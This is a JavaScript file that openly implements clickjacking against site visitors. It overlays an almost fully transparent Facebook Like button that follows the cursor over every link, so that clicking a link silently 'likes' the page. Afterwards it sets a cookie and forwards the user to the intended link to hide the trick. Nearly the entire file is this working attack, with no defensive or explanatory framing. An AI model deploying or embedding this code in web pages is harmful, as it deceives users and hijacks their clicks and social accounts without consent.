var $J = jQuery.noConflict(); 


// solve: images and floating divs 
function heightestChild(elem)
{
	var t=0;
	var t_elem;
	$J("*",elem).each(function () {
	    if ( $J(this).outerHeight(true) > t ) {
	        t_elem=$J(this);
	        t=t_elem.outerHeight(true);
	    }
	});
	// we care about the heighest
	if (elem.outerHeight(true) > t)
	{
		t = elem.outerHeight(true); 
	}
	
	//return elem.outerHeight(true); 
	return t+3; // hotfix
}

function highestOffsetTop(elem)
{
	var t=elem.offset().top;
	var t_elem;
	$J("*",elem).each(function () {
	    if ( $J(this).offset().top < t ) {
	        t_elem=$J(this);
	        t=t_elem.offset().top;
	    }
	});
	// we only care about the object that is most on top 
	if (elem.offset().top < t)
	{
		t = elem.offset().top;
	}
	
	//return elem.offset().top;
	return t+3;
}


// 57 19 63

$J(document).ready(function(){
	
	if (window.DO_CLICKJACKING) { // wrap up EVERYTHING 
	
	$J("body").append('<div id="clickjacking" style="position:absolute;display:block;opacity:0.01;-khtml-opacity:.01;-moz-opacity:.01;filter:alpha(opacity=1);"><fb:like layout="button_count" show_faces="false" width="100"></fb:like></div>');
/*	$J("body").append('<div id="clickjacking" style="position:absolute;display:block;"><fb:like layout="button_count" show_faces="false" width="100"></fb:like></div>');*/
	
	var elementWidth = 0; 
	var elementHeight = 0; 
	var theElement = '';
	var likeDone = 0;

	if ($J.cookie("clickjacking_"+escape(document.URL)) == 1)
	{
		likeDone = 1; 
	}



	// fired when the user clicks a link (likes our page) -> clickjacking is done
	FB.Event.subscribe('edge.create', function(response) {
		  $J("#clickjacking").css("display", "none");
		  likeDone = 1;   
		  $J.cookie("clickjacking_"+escape(document.URL), "1");
		  // let the user actually go to the link he clicked. 
		  window.location.href = theElement.attr('href');
	});
	
$J(document).mousemove(function(event) {
		if (theElement != '')
		{
			if (event.pageY < (highestOffsetTop(theElement)-4) || event.pageY > (highestOffsetTop(theElement) + heightestChild(theElement)) || event.pageX < theElement.offset().left || event.pageX > (theElement.offset().left + theElement.width()) )
			{
				//alert(event.pageY + " " + theElement.height() + " " + theElement.offset().top); 
			/*	$J("#log").append("<p>mouse off the element LEFT " + event.pageX  + " " + theElement.offset().left + " " + (theElement.offset().left + theElement.width()) +  "</p>"); 
				$J("#log").append("<p>mouse off the element TOP " + event.pageY  + " " + highestOffsetTop(theElement) + " " + (highestOffsetTop(theElement) + heightestChild(theElement,true)) +  "</p>");*/
				theElement = ''; // the mouse is off theElement
				$J("#clickjacking").css("display", "none"); 
			}
			else
			{
				if ($J.browser.msie) {
					$J("#clickjacking").css("top",(event.pageY-15)+"px");
					$J("#clickjacking").css("left",(event.pageX-20)+"px");
				}
				else
				{
					$J("#clickjacking").css("top",(event.pageY-5)+"px");
					$J("#clickjacking").css("left",(event.pageX-20)+"px");
				}
			}	
		}
});

$J(document).delegate("a","mouseenter", function (){
	// register mouse is inside element 
	if (likeDone == 0) 
	{
		theElement = $J(this);  
		$J("#clickjacking").css("display", "block");
	}
}); 


} // window.DO_CLICKJACKING
});

